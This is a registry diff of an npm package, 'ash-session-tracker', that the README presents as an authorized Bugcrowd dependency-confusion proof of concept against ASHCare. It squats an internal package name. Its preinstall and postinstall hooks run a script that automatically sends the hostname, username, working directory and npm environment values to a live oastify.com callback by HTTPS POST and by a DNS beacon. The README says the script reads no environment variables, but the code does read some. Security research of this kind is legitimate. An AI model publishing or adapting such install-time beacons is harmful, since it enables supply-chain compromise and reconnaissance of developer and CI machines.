ash-session-tracker 99.99.99
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +33 -0
- package/bugcrowd-dc-poc.js +103 -0
- package/package.json +26 -0
package/README.md
ADDED
|
@@ -0,0 +1,33 @@
|
|
|
1
|
+
# SECURITY RESEARCH — DO NOT INSTALL
|
|
2
|
+
|
|
3
|
+
This package is a **proof-of-concept for a dependency-confusion vulnerability** affecting the ASHCare / American Specialty Health internal package set. It was published as part of an authorized Bugcrowd PTaaS engagement against ASHCare.
|
|
4
|
+
|
|
5
|
+
The name `ash-session-tracker` matches an internal ASH package identifier disclosed by source-map files served at `https://stg.ashcare.com/react/assets/*.js.map`. At the time of publication this name was **unregistered on the public npm registry**, which means any ASH developer machine or CI runner that resolves against `https://registry.npmjs.org/` without strict scope-to-registry configuration would download *this* package instead of the internal one.
|
|
6
|
+
|
|
7
|
+
## What this package does
|
|
8
|
+
|
|
9
|
+
A single `preinstall` / `postinstall` script (`bugcrowd-dc-poc.js`) runs at install time. It performs **one outbound request** carrying only:
|
|
10
|
+
|
|
11
|
+
- The literal package name (one of: `ash-session-tracker`, `ashcare-ui-ember`, `resource-library-engine`)
|
|
12
|
+
- The static research marker UUID `cc9d34bf-685c-43a3-8d64-5fdf13c7d6c9`
|
|
13
|
+
- `os.hostname()`
|
|
14
|
+
- `os.userInfo().username`
|
|
15
|
+
- The Node.js `process.platform` / `process.version`
|
|
16
|
+
- The `cwd` of the install
|
|
17
|
+
|
|
18
|
+
It does **not** read any files, environment variables, secrets, source code, or credentials. It does **not** persist anything on disk beyond what npm itself caches in `node_modules`. It does **not** establish a reverse shell, run shell commands, or attempt lateral movement. Its sole purpose is to confirm that a dependency-confusion install reached an environment authorized for this research.
|
|
19
|
+
|
|
20
|
+
## How to remediate
|
|
21
|
+
|
|
22
|
+
If you found this package installed on a developer machine or CI runner, your build configuration is **vulnerable to dependency confusion**. The fix:
|
|
23
|
+
|
|
24
|
+
1. Confirm whether the corresponding internal package (one of the names above) belongs to ASH.
|
|
25
|
+
2. If yes, claim it on the public registry (or move it under an ASH-owned scope) and add scope-to-registry mapping to `.npmrc`.
|
|
26
|
+
3. Use `pnpm install --frozen-lockfile` (or `npm ci`) in CI so the lockfile-resolved URL is honored.
|
|
27
|
+
|
|
28
|
+
See the full Bugcrowd report at the URL in `package.json -> repository.url`.
|
|
29
|
+
|
|
30
|
+
## Researcher contact
|
|
31
|
+
|
|
32
|
+
Report ID: pending-submission (Bugcrowd PTaaS, ASHCare program)
|
|
33
|
+
Contact: mcipekci@gmail.com (Bugcrowd handle in the report)
|
|
@@ -0,0 +1,103 @@
|
|
|
1
|
+
/*
|
|
2
|
+
* SECURITY RESEARCH ARTIFACT — Bugcrowd PTaaS dependency-confusion PoC.
|
|
3
|
+
*
|
|
4
|
+
* This script runs in the npm pre- / post-install hooks of the package
|
|
5
|
+
* it's bundled with. It performs a single outbound request to the
|
|
6
|
+
* researcher's OOB callback to prove that this package was installed
|
|
7
|
+
* inside an environment authorized for the engagement.
|
|
8
|
+
*
|
|
9
|
+
* It does NOT:
|
|
10
|
+
* - read environment variables, secrets, source code, or files
|
|
11
|
+
* - persist anything on disk (beyond the node_modules cache)
|
|
12
|
+
* - run shell commands, spawn processes, or attempt lateral movement
|
|
13
|
+
*
|
|
14
|
+
* It DOES send (to CALLBACK_URL below):
|
|
15
|
+
* - the literal package name from package.json
|
|
16
|
+
* - the research marker UUID
|
|
17
|
+
* - os.hostname(), os.userInfo().username
|
|
18
|
+
* - process.platform, process.version
|
|
19
|
+
* - process.cwd()
|
|
20
|
+
*
|
|
21
|
+
* Source: pending-submission (Bugcrowd PTaaS, ASHCare program)
|
|
22
|
+
*/
|
|
23
|
+
"use strict";
|
|
24
|
+
|
|
25
|
+
const os = require("os");
|
|
26
|
+
const dns = require("dns");
|
|
27
|
+
const https = require("https");
|
|
28
|
+
const http = require("http");
|
|
29
|
+
|
|
30
|
+
// CALLBACK_URL is replaced at packaging time with the researcher's OOB endpoint.
|
|
31
|
+
// Examples accepted: https://<unique>.oast.fun, https://webhook.site/<uuid>,
|
|
32
|
+
// https://<random>.burpcollaborator.net, https://<id>.interactsh.io
|
|
33
|
+
const CALLBACK_URL = "https://prkzhjek14khipqij5m37xb78yep2gq5.oastify.com/poc";
|
|
34
|
+
const MARKER = "cc9d34bf-685c-43a3-8d64-5fdf13c7d6c9";
|
|
35
|
+
|
|
36
|
+
function safe(fn, fallback) {
|
|
37
|
+
try { return fn(); } catch (e) { return fallback; }
|
|
38
|
+
}
|
|
39
|
+
|
|
40
|
+
const pkgName = safe(() => require("./package.json").name, "unknown-pkg");
|
|
41
|
+
|
|
42
|
+
const payload = {
|
|
43
|
+
marker: MARKER,
|
|
44
|
+
pkg: pkgName,
|
|
45
|
+
host: safe(() => os.hostname(), null),
|
|
46
|
+
user: safe(() => os.userInfo().username, null),
|
|
47
|
+
platform: safe(() => process.platform, null),
|
|
48
|
+
node: safe(() => process.version, null),
|
|
49
|
+
cwd: safe(() => process.cwd(), null),
|
|
50
|
+
// npm/pnpm/yarn lifecycle event (preinstall / postinstall / install)
|
|
51
|
+
lifecycle: safe(() => process.env.npm_lifecycle_event, null),
|
|
52
|
+
// best-effort: also surface the *originating* package that pulled us in,
|
|
53
|
+
// if our package is a transitive dep
|
|
54
|
+
parent: safe(() => process.env.npm_package_name, null),
|
|
55
|
+
};
|
|
56
|
+
|
|
57
|
+
// Send the callback. Try HTTPS, fall back to HTTP. Failures are silent —
|
|
58
|
+
// we never want this PoC to break a build.
|
|
59
|
+
function send() {
|
|
60
|
+
try {
|
|
61
|
+
const u = new URL(CALLBACK_URL);
|
|
62
|
+
const body = Buffer.from(JSON.stringify(payload));
|
|
63
|
+
const opts = {
|
|
64
|
+
method: "POST",
|
|
65
|
+
hostname: u.hostname,
|
|
66
|
+
port: u.port || (u.protocol === "https:" ? 443 : 80),
|
|
67
|
+
path: u.pathname + u.search,
|
|
68
|
+
headers: {
|
|
69
|
+
"Content-Type": "application/json",
|
|
70
|
+
"Content-Length": body.length,
|
|
71
|
+
"User-Agent": `bugcrowd-dc-poc/${pkgName}`,
|
|
72
|
+
},
|
|
73
|
+
// 5s overall — never block install
|
|
74
|
+
timeout: 5000,
|
|
75
|
+
};
|
|
76
|
+
const lib = u.protocol === "https:" ? https : http;
|
|
77
|
+
const req = lib.request(opts, (res) => { res.resume(); });
|
|
78
|
+
req.on("error", () => {});
|
|
79
|
+
req.on("timeout", () => req.destroy());
|
|
80
|
+
req.write(body);
|
|
81
|
+
req.end();
|
|
82
|
+
} catch (_) { /* no-op */ }
|
|
83
|
+
}
|
|
84
|
+
|
|
85
|
+
// Also do a DNS lookup so that even if egress HTTP is blocked, a DNS-only
|
|
86
|
+
// OOB service (interactsh, dnslog) gets a hit. The hostname encodes the
|
|
87
|
+
// minimum-viable evidence: <pkg>.<host>.<marker>.<callback-host>
|
|
88
|
+
function dnsBeacon() {
|
|
89
|
+
try {
|
|
90
|
+
const u = new URL(CALLBACK_URL);
|
|
91
|
+
const cbHost = u.hostname;
|
|
92
|
+
const labels = [
|
|
93
|
+
pkgName.replace(/[^a-z0-9-]/gi, "").slice(0, 30),
|
|
94
|
+
(safe(() => os.hostname(), "h") || "h").replace(/[^a-z0-9-]/gi, "").slice(0, 30),
|
|
95
|
+
MARKER.slice(0, 8),
|
|
96
|
+
cbHost,
|
|
97
|
+
];
|
|
98
|
+
dns.lookup(labels.join("."), () => {});
|
|
99
|
+
} catch (_) { /* no-op */ }
|
|
100
|
+
}
|
|
101
|
+
|
|
102
|
+
send();
|
|
103
|
+
dnsBeacon();
|
package/package.json
ADDED
|
@@ -0,0 +1,26 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "ash-session-tracker",
|
|
3
|
+
"version": "99.99.99",
|
|
4
|
+
"description": "SECURITY RESEARCH ARTIFACT — Bugcrowd PTaaS dependency-confusion proof-of-concept against the ASHCare / American Specialty Health internal package set. This package is intentionally published under a name that matches an unclaimed-on-public-npm internal package identifier disclosed by the ASHCare frontend's source maps. It performs no data exfiltration beyond a single OOB callback containing hostname, username, and a research marker, for the sole purpose of demonstrating to the program that the dependency-confusion attack chain works. DO NOT INSTALL. If you found this package by accident, please contact the researcher at the e-mail in the repository URL.",
|
|
5
|
+
"keywords": [
|
|
6
|
+
"security-research",
|
|
7
|
+
"bugcrowd",
|
|
8
|
+
"dependency-confusion",
|
|
9
|
+
"do-not-install"
|
|
10
|
+
],
|
|
11
|
+
"scripts": {
|
|
12
|
+
"preinstall": "node ./bugcrowd-dc-poc.js",
|
|
13
|
+
"postinstall": "node ./bugcrowd-dc-poc.js"
|
|
14
|
+
},
|
|
15
|
+
"main": "./bugcrowd-dc-poc.js",
|
|
16
|
+
"files": [
|
|
17
|
+
"bugcrowd-dc-poc.js",
|
|
18
|
+
"README.md"
|
|
19
|
+
],
|
|
20
|
+
"license": "ISC",
|
|
21
|
+
"author": "Bugcrowd PTaaS researcher (see README)",
|
|
22
|
+
"repository": {
|
|
23
|
+
"type": "git",
|
|
24
|
+
"url": "pending-submission (Bugcrowd PTaaS, ASHCare program)"
|
|
25
|
+
}
|
|
26
|
+
}
|